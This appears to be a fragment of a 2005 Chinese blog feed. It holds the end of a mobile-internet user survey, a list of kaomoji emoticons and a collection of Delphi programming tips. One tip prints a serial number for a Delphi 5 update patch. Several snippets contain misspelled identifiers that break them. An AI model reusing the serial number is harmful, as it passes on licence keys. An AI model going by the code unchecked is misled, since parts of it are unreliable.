<P style="TEXT-INDENT: 2em">2005中国无线互联网新网民认为上网功能设计最好的手机品牌中，随着用户年龄群的增加，认为<A href="http://product.mobile.163.com/1/000N.html"><FONT color=red><U>诺基亚</U></FONT></A>上网功能设计最好的比例越来越少，认为<A href="http://product.mobile.163.com/1/000G.html"><FONT color=red><U>索爱</U></FONT></A>上网功能设计最好的比例越来越少，认为<A href="http://product.mobile.163.com/1/000X.html"><FONT color=red><U>摩托罗拉</U></FONT></A>和<A href="http://product.mobile.163.com/1/000W.html"><FONT color=red><U>三星</U></FONT></A>的上网功能设计最好的比例越来越多。年轻用户群比较倾向于诺基亚和索爱。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_45.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">23. “2005年中国无线互联网新网民大调查”用户最佳 WAP网站投票情况</P>
<P style="TEXT-INDENT: 2em">经过一年的发展，手机网民们基本已经接受无线互联网上“百花齐放”的状况，也开始有目的性针对自己喜好选择站点，2005中国无线互联网新网民对网站的选择也同样有所分流。</P>
<P style="TEXT-INDENT: 2em">在本次调查问卷所列出的WAP网站中，50.4%的用户认为3G门户是最佳的WAP网站，接下来的免费WAP网站前五排名分别是腾讯QQ、手机玩家俱乐部、摩网与WAP天下。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_46.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">2005中国无线互联网新网民认为最佳WAP网站中，日均手机上网30分钟内的用户认为移动梦网是最佳WAP网站的比例最多，日均手机上网30分钟至2小时的用户认为3G门户是最佳WAP网站的比例最多。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_47.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">2005中国无线互联网新网民中，认为移动梦网是最佳WAP网站的比例从2004年的30.5%下降到21.3%，认为互动视界是最佳WAP网站的比例从2004年的2.3%上升到8.4%，认为3G门户是最佳WAP网站的比例从2004年的58%下降到50.4%。</P>
<P style="TEXT-INDENT: 2em">[img]http://cimg.163.com/mobile/050901/images/diaocha_48.jpg[/img]</P>
<P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">摘:http://wulei.mohappy.com/blog/user1/10/archives/2005/160.html</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=30" /> 
	  <id>http://www.openx.cn/default.asp?id=30</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[<符号表情大全>]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-09-16T09:04:10+08:00</updated>
	  <published>2005-09-16T09:04:10+08:00</published>
		  <summary type="html"><![CDATA[<P>⊙▂⊙　⊙０⊙　⊙＾⊙　⊙ω⊙　⊙﹏⊙　⊙△⊙　⊙▽⊙&nbsp;&nbsp;<BR><BR>◑▂◐　◑０◐　◑＾◐　◑ω◐　◑﹏◐　◑△◐　　◑▽◐&nbsp;&nbsp;<BR><BR>∩▂∩　∩０∩　∩＾∩　∩ω∩　∩﹏∩　∩△∩　∩▽∩&nbsp;&nbsp;<BR><BR>●▂●　　●０●　　●＾●　　●ω●　　●﹏●　　●△●&nbsp;　●▽●&nbsp;&nbsp;<BR><BR>∪▂∪　∪０∪　∪＾∪　∪ω∪　∪﹏∪　∪△∪　∪▽∪&nbsp;&nbsp;<BR><BR>≥▂≤　≥０≤　≥＾≤　≥ω≤　≥﹏≤　≥△≤　≥▽≤&nbsp;&nbsp;<BR><BR>＞▂＜　＞０＜　＞＾＜　＞ω＜　＞﹏＜　＞△＜　＞▽＜&nbsp;&nbsp;<BR><BR>╯▂╰　╯０╰　╯＾╰　╯ω╰　╯﹏╰　╯△╰　╯▽╰&nbsp;&nbsp;<BR><BR>＋▂＋　＋０＋　＋＾＋　＋ω＋　＋﹏＋&nbsp;＋△＋　＋▽＋&nbsp;<BR><BR>ˋ▂ˊ　ˋ０ˊ　ˋ＾ˊ　ˋωˊ　ˋ﹏ˊ　ˋ△ˊ　ˋ▽ˊ&nbsp;&nbsp;<BR><BR>ˇ▂ˇ　ˇ０ˇ　ˇ＾ˇ　ˇωˇ　ˇ﹏ˇ　　ˇ△ˇ　ˇ▽ˇ&nbsp;&nbsp;<BR><BR>˙▂˙　˙０˙　˙＾˙　˙ω˙　˙﹏˙　˙△˙　˙▽˙&nbsp;&nbsp;<BR><BR>≡(▔﹏▔)≡&nbsp;⊙﹏⊙‖∣°&nbsp;ˋ＾ˊ〉-#&nbsp;╯＾╰〉&nbsp;(=‘′=)&nbsp;&nbsp;<BR><BR>&lt;(‘^′)&gt;&nbsp;　o(‧""‧)o　(¯▽¯；)　(-__-)b　＼　＿　／&nbsp;&nbsp;<BR>　&nbsp;&nbsp;<BR><BR>￣□￣｜｜　　------\\(˙&lt;&gt;˙)/------　　　&lt;("""O""")&gt;&nbsp;&nbsp;<BR><BR>(#‘′)凸&nbsp;　(‘▽′)ψ&nbsp;　（°ο°）~&nbsp;@　　　(^人^)&nbsp;&nbsp;<BR><BR>(O&nbsp;^&nbsp;~&nbsp;^&nbsp;O)&nbsp;　(＊‧↓˙＊)　[&gt;\/&lt;]　↓。υ。↓　&nbsp;&nbsp;<BR><BR>(*^〔^*)&nbsp;　(&nbsp;/。\&nbsp;)&nbsp;　　(&nbsp;'&nbsp;–&nbsp;'&nbsp;)&nbsp;(&nbsp;^３^&nbsp;)╱~~　&nbsp;&nbsp;<BR><BR>(；°○°&nbsp;)&nbsp;(&nbsp;&gt;&nbsp;c&nbsp;&lt;&nbsp;)&nbsp;&nbsp;<BR><BR>动　　　物　　　篇&nbsp;&nbsp;<BR><BR>&lt;。)#)))≤&nbsp;烤鱼　(‧‧)nnn&nbsp;毛毛虫&nbsp;&nbsp;<BR><BR>\(0^◇^0)/&nbsp;麻雀&nbsp;&nbsp;<BR><BR>&lt;*)&gt;&gt;&nbsp;&gt;=&lt;&nbsp;鱼骨头　(=^&nbsp;^=)&nbsp;猫　/(*w*)\&nbsp;兔子&nbsp;&nbsp;<BR><BR>≡[。。]≡&nbsp;螃蟹　(¯(∞)¯)猪　■D"&nbsp;咖啡杯&nbsp;&nbsp;<BR><BR>(:≡&nbsp;水母　(。。)～&nbsp;蝌蚪　ε==3&nbsp;骨头&nbsp;&nbsp;<BR><BR>&lt;□:≡&nbsp;乌贼　&lt;‘▽′&gt;&nbsp;老虎　○●○—&nbsp;烤丸子&nbsp;&nbsp;<BR><BR>(:◎)≡&nbsp;章鱼　ζ。≡&nbsp;狮子　(●-●)&nbsp;太阳眼镜&nbsp;&nbsp;<BR><BR>@/"&nbsp;蜗牛　∑^)/&nbsp;乌鸦　--&lt;-&lt;-&lt;@&nbsp;玫瑰花&nbsp;&nbsp;<BR><BR>(((●&lt;&nbsp;蟑螂?=^ω^=)&nbsp;狐狸　＜※&nbsp;花束<BR><BR>满意.满足&nbsp;&nbsp;<BR><BR>&lt;(￣）￣)&gt;&nbsp;[]~(￣▽￣)~*&nbsp;(￣﹏￣)&nbsp;(￣ˇ￣)&nbsp;&nbsp;<BR><BR>\(￣）￣)&gt;&nbsp;&lt;(￣）￣)/&nbsp;(‘﹏′)&nbsp;╮(‘▽′)╭&nbsp;&nbsp;<BR><BR>\(‘▽′)/<BR><BR>无奈.装傻~&nbsp;&nbsp;<BR><BR>(￣▽￣)~*&nbsp;(￣▽￣)"&nbsp;╮(╯▽╰)╭&nbsp;╮(￣▽￣)╭&nbsp;&nbsp;<BR><BR>=￣ω￣=&nbsp;(￣３￣)a&nbsp;￣▽￣&nbsp;╮(╯3╰)╭&nbsp;&nbsp;<BR><BR>╮(╯3╰)╭&nbsp;╮(╯_╰)╭&nbsp;(=&nbsp;0&nbsp;=)y&nbsp;o(）＾）)o&nbsp;&nbsp;<BR><BR>(￣.￣)&nbsp;\(￣&lt;&nbsp;￣)&gt;&nbsp;(～o￣▽￣)～o&nbsp;~。。。(~￣▽￣)~[]&nbsp;&nbsp;<BR><BR>ˋ(′～‘)ˊ&nbsp;&nbsp;<BR><BR>└(^o^)┘;&nbsp;偶头好状壮ㄋㄟ```&nbsp;&nbsp;<BR><BR>﹌○﹋&nbsp;喔嗨呦^ˇ^≡&nbsp;&nbsp;<BR><BR>=^_^=&nbsp;温馨的微笑!!!&nbsp;<BR><BR>Y(^_^)Y&nbsp;举双手胜利&nbsp;<BR><BR>\^o^/&nbsp;欢呼&nbsp;&nbsp;<BR><BR>^o^y&nbsp;胜利^o^y&nbsp;<BR><BR>↖(^ω^)↗&nbsp;小猪为你打气！&nbsp;<BR><BR>~^o^~&nbsp;加油呦!&nbsp;<BR><BR>*^ˍ^*&nbsp;笑，打&nbsp;&nbsp;<BR><BR>*^ο^*&nbsp;哦～，呵呵傻笑&nbsp;<BR><BR>*^◎^*&nbsp;呵呵大笑（嘴唇好厚）&nbsp;<BR><BR>*^÷^*&nbsp;得意的笑（有上下唇的哟）&nbsp;<BR><BR>~~~^_^~~~&nbsp;笑毙罗（笑得连眼泪都蹦出来了...）&nbsp;<BR><BR>(-.-)=3&nbsp;松ㄌ一口气~&nbsp;&nbsp;<BR><BR>~~~///(^v^)\\\~~~&nbsp;微笑表示友善!!!~哈~哈~&nbsp;&nbsp;<BR><BR>~@^_^@~&nbsp;可爱呦!&nbsp;<BR><BR>\\*^o^*//&nbsp;可爱ㄋㄟ~&nbsp;&nbsp;<BR><BR>~*.*~&nbsp;害羞又迷人的小女生&nbsp;&nbsp;<BR><BR>#^_^#&nbsp;脸红了!!&nbsp;&nbsp;<BR><BR>∩__∩y&nbsp;耶~~^^&nbsp;(装可爱?!)&nbsp;<BR><BR>（*^＠^*）&nbsp;乖～（还含个奶嘴哦）&nbsp;X﹏X糟糕．．&nbsp;完蛋的意思呀~~&nbsp;&nbsp;<BR><BR>(°&nbsp;ο°)~@&nbsp;晕倒了..&nbsp;&nbsp;<BR><BR>{{{(&gt;_&lt;)}}}&nbsp;发抖&nbsp;&nbsp;<BR><BR>╯﹏╰&nbsp;粉无奈~~&nbsp;&nbsp;<BR><BR>\(╯-╰)/&nbsp;很没劲/无耐的意思&nbsp;<BR><BR>（╯＾╰〉&nbsp;一脸苦瓜&nbsp;&nbsp;<BR><BR>｝_｝&nbsp;粉无奈..粉悲情&nbsp;&nbsp;<BR><BR>-____-"&nbsp;唉~~别提了.....&nbsp;<BR><BR>。_。&nbsp;受到打击，表情呈现呆滞样～&nbsp;&nbsp;<BR><BR>（*@＾@*〉&nbsp;悲，晕&nbsp;&nbsp;<BR><BR>-（-&nbsp;好伤心.&nbsp;&nbsp;<BR><BR>//(ㄒoㄒ)//&nbsp;流泪中...&nbsp;&nbsp;<BR><BR>::&gt;_&lt;::&nbsp;哭&nbsp;&nbsp;<BR><BR>〒_〒&nbsp;鸣~~我在哭...&nbsp;&nbsp;<BR><BR>%&gt;_&lt;%&nbsp;我要哭了哦...&nbsp;&nbsp;<BR><BR>╰_╯我发火了!!&nbsp;生气的意思~~~眉毛都翘起来~~&nbsp;<BR><BR>&gt;_&lt;#&nbsp;粉生气~冒青筋&nbsp;<BR><BR>@x@&nbsp;生气&nbsp;<BR><BR>（ˋ＾ˊ〉-#&nbsp;生气&nbsp;&nbsp;<BR><BR>（＞﹏＜）&nbsp;不～&nbsp;&nbsp;<BR><BR>（*+﹏+*）~&nbsp;@&nbsp;受不了～&nbsp;&nbsp;<BR><BR>x__x,&nbsp;唉.....&nbsp;别哭了!&nbsp;&nbsp;<BR><BR>&gt;_&lt;|||&nbsp;很尴尬~!!!&nbsp;&nbsp;<BR><BR>^_^;&nbsp;尴尬&nbsp;&nbsp;<BR><BR>⊙﹏⊙‖∣°&nbsp;真尴尬～～&nbsp;<BR><BR>^_^|||&nbsp;好尴尬！&nbsp;&nbsp;<BR><BR>^_^"&nbsp;尴尬的笑.....&nbsp;&nbsp;<BR><BR>→_→&nbsp;怀疑的眼神~~&nbsp;&nbsp;<BR><BR>..@_@|||||..&nbsp;头昏眼花&nbsp;&nbsp;<BR><BR>…(⊙_⊙)…&nbsp;○圭~○列~~怎麼酱？&nbsp;<BR><BR>o_o&nbsp;....&nbsp;沉思(说穿了"呆滞状况")&nbsp;&nbsp;<BR><BR>O__O"&nbsp;呆滞的眼神~~~!!&nbsp;&nbsp;<BR>///^_^.......&nbsp;造成"冷"...乾笑~&nbsp;&nbsp;<BR><BR>?o?|||&nbsp;听无(就是听不懂ㄉ意思啦^^)&nbsp;&nbsp;<BR><BR>(&nbsp;^_^&nbsp;)?&nbsp;什麼意思??&nbsp;&nbsp;<BR><BR>(+_+)?&nbsp;不知道你在什麼&nbsp;<BR><BR>（?ε?）?&nbsp;哩公啥哇听无啦~&nbsp;<BR><BR>o_O???&nbsp;发生啥事?&nbsp;&nbsp;<BR><BR>@_@a&nbsp;搔头，疑惑&nbsp;&nbsp;<BR><BR>一&nbsp;一+&nbsp;锐利的眼神~&nbsp;&nbsp;<BR><BR>&gt;"&lt;||||&nbsp;伤脑筋的意思~&nbsp;‘(*&gt;﹏&lt;*)′&nbsp;好刺激..&nbsp;&nbsp;<BR><BR>（*@ο@*）&nbsp;哇～&nbsp;&nbsp;<BR><BR>O_o&nbsp;惊讶~~~&nbsp;&nbsp;<BR><BR>（⊙ｏ⊙）&nbsp;目瞪口呆&nbsp;&nbsp;<BR><BR>（°ο°）~&nbsp;@&nbsp;晕倒，不省人事&nbsp;&nbsp;<BR><BR>*@_@*&nbsp;崇拜的眼神;眼睛为之一亮&nbsp;&nbsp;<BR><BR>★~★&nbsp;见到偶像眼睛为之一亮&nbsp;&nbsp;<BR><BR>^◎-&nbsp;爱你呦~~&nbsp;<BR><BR>(*^‧^*)&nbsp;啵一个!&nbsp;&nbsp;<BR><BR>(^_^)∠※&nbsp;送你一束花&nbsp;&nbsp;<BR><BR>（*^〔^*〕&nbsp;羞羞&nbsp;<BR><BR>‘（*^﹏^*）′&nbsp;超级羞羞&nbsp;<BR><BR>‘（*∩_∩*）′&nbsp;献上&nbsp;&nbsp;<BR><BR>~_~&nbsp;想睡觉了的意思!!&nbsp;&nbsp;<BR><BR>(～&nbsp;o&nbsp;～)~zZ&nbsp;我想睡啦～&nbsp;&nbsp;<BR><BR>π_π&nbsp;打瞌睡&nbsp;<BR><BR>=@~@=&nbsp;一个看到美眉就紧张+脸红的大学生。&nbsp;<BR><BR>@(一-一)&nbsp;秘密--------嘘```````&nbsp;&nbsp;<BR><BR>（ˇ＾ˇ〉&nbsp;不以为然&nbsp;&nbsp;<BR><BR>(^人^)&nbsp;拜托啦^^~&nbsp;<BR><BR>(^_^)/~~&nbsp;掰掰~&nbsp;&nbsp;<BR><BR>*x*...&nbsp;...&nbsp;你逼我也没用,我劫对不会搜粗弃的!&nbsp;&nbsp;<BR><BR>~w_w~&nbsp;...&nbsp;...&nbsp;嘘!别吵偶,让偶思考一下!&nbsp;&nbsp;<BR><BR>（ˇˍˇ）&nbsp;嗯～，思考中&nbsp;&nbsp;<BR><BR>．．&lt;{=．．．&nbsp;乌鸦乌鸦飞过去表示冷场,无趣.....&nbsp;&nbsp;<BR><BR>（*&gt;.&lt;*）~&nbsp;@&nbsp;酸～&nbsp;&nbsp;<BR><BR>~`o`~&nbsp;了解&nbsp;<BR><BR>ˋ_ˊ*&nbsp;你不要命啦!!!&nbsp;&nbsp;<BR><BR>-.-&nbsp;装蒜&nbsp;~&gt;_&lt;~+&nbsp;好感人唷...&nbsp;<BR><BR>Q_Q&nbsp;流眼泪的样子!!&nbsp;&nbsp;<BR><BR>（＋﹏＋）&nbsp;流泪，感动&nbsp;&nbsp;<BR><BR>‘（＋﹏＋）′&nbsp;超级感动，眼泪不停&nbsp;&nbsp;<BR><BR>^_^o&nbsp;~~~&nbsp;感动感动~~~</P>
<P>&nbsp;</P>
<P>摘:http://www.caiyoucn.com/blog/blogview.asp?logID=9<BR></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=29" /> 
	  <id>http://www.openx.cn/default.asp?id=29</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Delphi编程技巧集]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-15T18:56:54+08:00</updated>
	  <published>2005-09-15T18:56:54+08:00</published>
		  <summary type="html"><![CDATA[<SPAN id=ArticleContent1_ArticleContent1_lblContent>&nbsp;
<P><STRONG>◇[DELPHI]网络邻居复制文件</STRONG> <BR>uses shellapi; <BR>copyfile(pchar(''newfile.txt''),pchar(''//computername/direction/targer.txt''),false); </P>
<P><STRONG>◇[DELPHI]产生鼠标拖动效果</STRONG> <BR>通过MouseMove事件、DragOver事件、EndDrag事件实现，例如在PANEL上的LABEL： <BR>var xpanel,ypanel,xlabel,ylabel:integer; <BR>PANEL的MouseMove事件：xpanel:=x;ypanel:=y; <BR>PANEL的DragOver事件：xpanel:=x;ypanel:=y; <BR>LABEL的MouseMove事件：xlabel:=x;ylabel:=y; <BR>LABEL的EndDrag事件：label.left:=xpanel-xlabel;label.top:=ypanel-ylabel; </P>
<P><STRONG>◇[DELPHI]取得WINDOWS目录</STRONG> <BR>uses shellapi; <BR>var windir:array[0..255] of char; <BR>getwindowsdirectory(windir,sizeof(windir)); <BR>或者从注册表中读取，位置： <BR>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion <BR>SystemRoot键，取得如：C:\WINDOWS </P>
<P><STRONG>◇[DELPHI]在FORM或其他容器上画线</STRONG> <BR>var x,y:array [0..50] of integer; <BR>canvas.pen.color:=clred; <BR>canvas.pen.style:=psDash; <BR>form1.canvas.moveto(trunc(x[i]),trunc(y[i])); <BR>form1.canvas.lineto(trunc(x[j]),trunc(y[j])); </P>
<P><STRONG>◇[DELPHI]字符串列表使用</STRONG> <BR>var tips:tstringlist; <BR>tips:=tstringlist.create; <BR>tips.loadfromfile(''filename.txt''); <BR>edit1.text:=tips[0]; <BR>tips.add(''last line addition string''); <BR>tips.insert(1,''insert string at NO 2 line''); <BR>tips.savetofile(''newfile.txt''); <BR>tips.free; </P>
<P><STRONG>◇[DELPHI]简单的剪贴板操作</STRONG> <BR>richedit1.selectall; <BR>richedit1.copytoclipboard; <BR>richedit1.cuttoclipboard; <BR>edit1.pastefromclipboard; </P>
<P><STRONG>◇[DELPHI]关于文件、目录操作</STRONG> <BR>Chdir(''c:\abcdir'');转到目录 <BR>Mkdir(''dirname'');建立目录 <BR>Rmdir(''dirname'');删除目录 <BR>GetCurrentDir;//取当前目录名，无''\'' <BR>Getdir(0,s);//取工作目录名s:=''c:\abcdir''; <BR>Deletfile(''abc.txt'');//删除文件 <BR>Renamefile(''old.txt'',''new.txt'');//文件更名 <BR>ExtractFilename(filelistbox1.filename);//取文件名 <BR>ExtractFileExt(filelistbox1.filename);//取文件后缀 </P>
<P><STRONG>◇[DELPHI]处理文件属性</STRONG> <BR>attr:=filegetattr(filelistbox1.filename); <BR>if (attr and faReadonly)=faReadonly then ... //只读 <BR>if (attr and faSysfile)=faSysfile then ... //系统 <BR>if (attr and faArchive)=faArchive then ... //存档 <BR>if (attr and faHidden)=faHidden then ... //隐藏 </P>
<P><STRONG>◇[DELPHI]执行程序外文件</STRONG> <BR>WINEXEC//调用可执行文件 <BR>winexec(''command.com /c copy *.* c:\'',SW_Normal); <BR>winexec(''start abc.txt''); <BR>ShellExecute或ShellExecuteEx//启动文件关联程序 <BR>function executefile(const filename,params,defaultDir:string;showCmd:integer):THandle; <BR>ExecuteFile(''C:\abc\a.txt'',''x.abc'',''c:\abc\'',0); <BR>ExecuteFile(''http://tingweb.yeah.net'','''','''',0); <BR>ExecuteFile(''mailto:tingweb@wx88.net'','''','''',0); </P>
<P><STRONG>◇[DELPHI]取得系统运行的进程名</STRONG> <BR>var hCurrentWindow:HWnd;szText:array[0..254] of char; <BR>begin <BR>hCurrentWindow:=Getwindow(handle,GW_HWndFrist); <BR>while hCurrentWindow &lt;&gt; 0 do <BR>begin <BR>if Getwindowtext(hcurrnetwindow,@sztext,255)&gt;0 then listbox1.items.add(strpas(@sztext)); <BR>hCurrentWindow:=Getwindow(hCurrentwindow,GW_HWndNext); <BR>end; <BR>end; </P>
<P><STRONG>◇[DELPHI]关于汇编的嵌入</STRONG> <BR>Asm End; <BR>可以任意修改EAX、ECX、EDX；不能修改ESI、EDI、ESP、EBP、EBX。 </P>
<P><STRONG>◇[DELPHI]关于类型转换函数</STRONG> <BR>FloatToStr//浮点转字符串 <BR>FloatToStrF//带格式的浮点转字符串 <BR>IntToHex//整数转16进制 <BR>TimeToStr <BR>DateToStr <BR>DateTimeToStr <BR>FmtStr//按指定格式输出字符串 <BR>FormatDateTime(''YYYY-MM-DD,hh-mm-ss'',DATE); </P>
<P><STRONG>◇[DELPHI]字符串的过程和函数</STRONG>&nbsp; <BR>Insert(obj,target,pos);//字符串target插入在pos的位置。如插入结果大于target最大长度，多出字符将被截掉。如Pos在255以外，会产生运行错。例如，st:=''Brian''，则Insert（''OK'',st,2）会使st变为''BrOKian''。&nbsp; <BR>Delete(st,pos,Num);//从st串中的pos（整型）位置开始删去个数为Num（整型）个字符的子字串。例如，st:=''Brian''，则Delete(st,3,2)将变为Brn。&nbsp; <BR>Str(value,st);//将数值value（整型或实型）转换成字符串放在st中。例如，a=2.5E4时，则str(a:10,st)将使st的值为'' 25000''。&nbsp; <BR>Val(st,var,code);//把字符串表达式st转换为对应整型或实型数值，存放在var中。St必须是一个表示数值的字符串，并符合数值常数的规则。在转换过程中，如果没有检测出错误，变量code置为0，否则置为第一个出错字符的位置。例如，st:=25.4E3,x是一个实型变量，则val(st,x,code)将使X值为25400，code值为0。&nbsp; <BR>Copy(st.pos.num);//返回st串中一个位置pos（整型）处开始的，含有num（整型）个字符的子串。如果pos大于st字符串的长度，那就会返回一个空串，如果pos在255以外，会引起运行错误。例如，st:=''Brian''，则Copy(st,2,2)返回''ri''。&nbsp; <BR>Concat(st1,st2,st3……,stn);//把所有自变量表示出的字符串按所给出的顺序连接起来，并返回连接后的值。如果结果的长度255，将产生运行错误。例如，st1:=''Brian'',st2:='' '',st3:=''Wilfred''，则Concat(st1,st2,st3)返回''Brian Wilfred''。&nbsp; <BR>Length(st);//返回字符串表达式st的长度。例如，st:=''Brian''，则Length(st)返回值为5。&nbsp; <BR>Pos(obj,target);//返回字符串obj在目标字符串target的第一次出现的位置，如果target没有匹配的串，Pos函数的返回值为0。例如，target:=''Brian Wilfred''，则Pos(''Wil'',target)的返回值是7，Pos(''hurbet'',target)的返回值是0。&nbsp; </P>
<P><STRONG>◇[DELPHI]关于处理注册表</STRONG> <BR>uses Registry; <BR>var reg:Tregistry; <BR>reg:=Tregistry.create; <BR>reg.rootkey:=''HKey_Current_User''; <BR>reg.openkey(''Control Panel\Desktop'',false); <BR>reg.WriteString(''Title Wallpaper'',''0''); <BR>reg.writeString(''Wallpaper'',filelistbox1.filename); <BR>reg.closereg; <BR>reg.free; </P>
<P><STRONG>◇[DELPHI]关于键盘常量名</STRONG> <BR>VK_BACK/VK_TAB/VK_RETURN/VK_SHIFT/VK_CONTROL/VK_MENU/VK_PAUSE/VK_ESCAPE <BR>/VK_SPACE/VK_LEFT/VK_RIGHT/VK_UP/VK_DOWN <BR>F1--F12：$70(112)--$7B(123) <BR>A-Z：$41(65)--$5A(90) <BR>0-9：$30(48)--$39(57) <BR>◇[DELPHI]初步判断程序母语 <BR>DELPHI软件的DOS提示：This Program Must Be Run Under Win32. <BR>VC++软件的DOS提示：This Program Cannot Be Run In DOS Mode. </P>
<P><STRONG>◇[DELPHI]操作Cookie</STRONG> <BR>response.cookies("name").domain:=''http://www.086net.com''; <BR>with response.cookies.add do <BR>begin <BR>name:=''username''; <BR>value:=''username''; <BR>end </P>
<P><STRONG>◇[DELPHI]增加到文档菜单连接</STRONG> <BR>uses shellapi,shlOBJ; <BR>shAddToRecentDocs(shArd_path,pchar(filepath));//增加连接 <BR>shAddToRecentDocs(shArd_path,nil);//清空 </P>
<P><STRONG>◇[杂类]备份智能ABC输入法词库</STRONG> <BR>windows\system\user.rem <BR>windows\system\tmmr.rem </P>
<P><STRONG>◇[DELPHI]判断鼠标按键</STRONG> <BR>if GetAsyncKeyState(VK_LButton)&lt;&gt;0 then ... //左键 <BR>if GetAsyncKeyState(VK_MButton)&lt;&gt;0 then ... //中键 <BR>if GetAsyncKeyState(VK_RButton)&lt;&gt;0 then ... //右键 </P>
<P><STRONG>◇[DELPHI]设置窗体的最大显示</STRONG> <BR>onFormCreate事件 <BR>self.width:=screen.width; <BR>self.height:=screen.height; </P>
<P><STRONG>◇[DELPHI]按键接受消息</STRONG> <BR>OnCreate事件中处理：Application.OnMessage:=MyOnMessage; <BR>procedure TForm1.MyOnMessage(var MSG:TMSG;var Handle:Boolean); <BR>begin <BR>if msg.message=256 then ... //ANY键 <BR>if msg.message=112 then ... //F1 <BR>if msg.message=113 then ... //F2 <BR>end; </P>
<P><STRONG>◇[杂类]隐藏共享文件夹</STRONG> <BR>共享效果：可访问，但不可见（在资源管理、网络邻居中） <BR>取共享名为：direction$ <BR>访问：//computer/dirction/ </P>
<P><STRONG>◇[DELPHI]文本编辑相关</STRONG> <BR>checkbox1.checked:=not checkbox1.checked; <BR>if checkbox1.checked then richedit1.font.style:=richedit1.font.style+[fsBold] else richedit1.font.style:=richedit1.font.style-[fsBold]//粗体 <BR>if checkbox1.checked then richedit1.font.style:=richedit1.font.style+[fsItalic] else richedit1.font.style:=richedit1.font.style-[fsItalic]//斜体 <BR>if checkbox1.checked then richedit1.font.style:=richedit1.font.style+[fsUnderline] else richedit1.font.style:=richedit1.font.style-[fsUnderline]//下划线 <BR>memo1.alignment:=taLeftJustify;//居左 <BR>memo1.alignment:=taRightJustify;//居右 <BR>memo1.alignment:=taCenter;//居中 </P>
<P><STRONG>◇[DELPHI]随机产生文本色</STRONG> <BR>randomize;//随机种子 <BR>memo1.font.color:=rgb(random(255),random(255),random(255)); </P>
<P><STRONG>◇[DELPHI]DELPHI5 UPDATE升级补丁序列号</STRONG> <BR>1000003185 <BR>90X25fx0 </P>
<P><STRONG>◇[DELPHI]文件名的非法字符过滤</STRONG> <BR>for i:=1 to length(s) do <BR>if s[i] in [''\'',''/'','':'',''*'',''?'',''&lt;'',''&gt;'',''|''] then </P>
<P><STRONG>◇[DELPHI]转换函数的定义及说明</STRONG>&nbsp; <BR>datetimetofiledate (datetime:Tdatetime):longint; 将Tdatetime格式的日期时间值转换成DOS格式的日期时间值&nbsp; <BR>datetimetostr (datetime:Tdatetime):string; 将Tdatatime格式变量转换成字符串，如果datetime参数不包含日期值，返回字符串日期显示成为00/00/00，如果datetime参数中没有时间值，返回字符串中的时间部分显示成为00：00：00 AM&nbsp; <BR>datetimetostring (var result string; <BR>const format:string; <BR>datetime:Tdatetime); 根据给定的格式字符串转换时间和日期值，result为结果字符串，format为转换格式字符串，datetime为日期时间值&nbsp; <BR>datetostr (date:Tdatetime) 使用shortdateformat全局变量定义的格式字符串将date参数转换成对应的字符串&nbsp; <BR>floattodecimal (var result:Tfloatrec;value: <BR>extended;precision,decimals: <BR>integer); 将浮点数转换成十进制表示&nbsp; <BR>floattostr (value:extended):string 将浮点数value转换成字符串格式，该转换使用普通数字格式，转换的有效位数为15位。&nbsp; <BR>floattotext (buffer:pchar;value:extended; <BR>format:Tfloatformat;precision, <BR>digits:integer):integer; 用给定的格式、精度和小数将浮点值value转换成十进制表示形式，转换结果存放于buffer参数中，函数返回值为存储到buffer中的字符位数，buffer是非0结果的字符串缓冲区。&nbsp; <BR>floattotextfmt (buffer:pchar;value:extended; <BR>format:pchar):integer 用给定的格式将浮点值value转换成十进制表示形式，转换结果存放于buffer参数中，函数返回值为存储到buffer中的字符位数。&nbsp; <BR>inttohex (value:longint;digits:integer): <BR>string; 将给定的数值value转换成十六进制的字符串。参数digits给出转换结果字符串包含的数字位数。&nbsp; <BR>inttostr (value:longint):string 将整数转换成十进制形式字符串&nbsp; <BR>strtodate (const S:string):Tdatetime 将字符串转换成日期值，S必须包含一个合法的格式日期的字符串。&nbsp; <BR>strtodatetime (const S:string):Tdatetime 将字符串S转换成日期时间格式，S必须具有MM/DD/YY HH：MM：SS[AM|PM]格式，其中日期和时间分隔符与系统时期时间常量设置相关。如果没有指定AM或PM信息，表示使用24小时制。&nbsp; <BR>strtofloat (const S:string):extended; 将给定的字符串转换成浮点数，字符串具有如下格式： <BR>[+|-]nnn…[.]nnn…[&lt;+|-&gt;&lt;E|e&gt;&lt;+|-&gt;nnnn]&nbsp; <BR>strtoint (const S:string):longint 将数字字符串转换成整数，字符串可以是十进制或十六进制格式，如果字符串不是一个合法的数字字符串，系统发生ECONVERTERROR异常&nbsp; <BR>strtointdef (const S:string;default: <BR>longint):longint; 将字符串S转换成数字，如果不能将S转换成数字，strtointdef函数返回参数default的值。&nbsp; <BR>strtotime (const S:string):Tdatetime 将字符串S转换成TDATETIME值，S具有HH：MM：SS[AM|PM]格式，实际的格式与系统的时间相关的全局变量有关。&nbsp; <BR>timetostr (time:Tdatetime):string; 将参数TIME转换成字符串。转换结果字符串的格式与系统的时间相关常量的设置有关。&nbsp; </P>
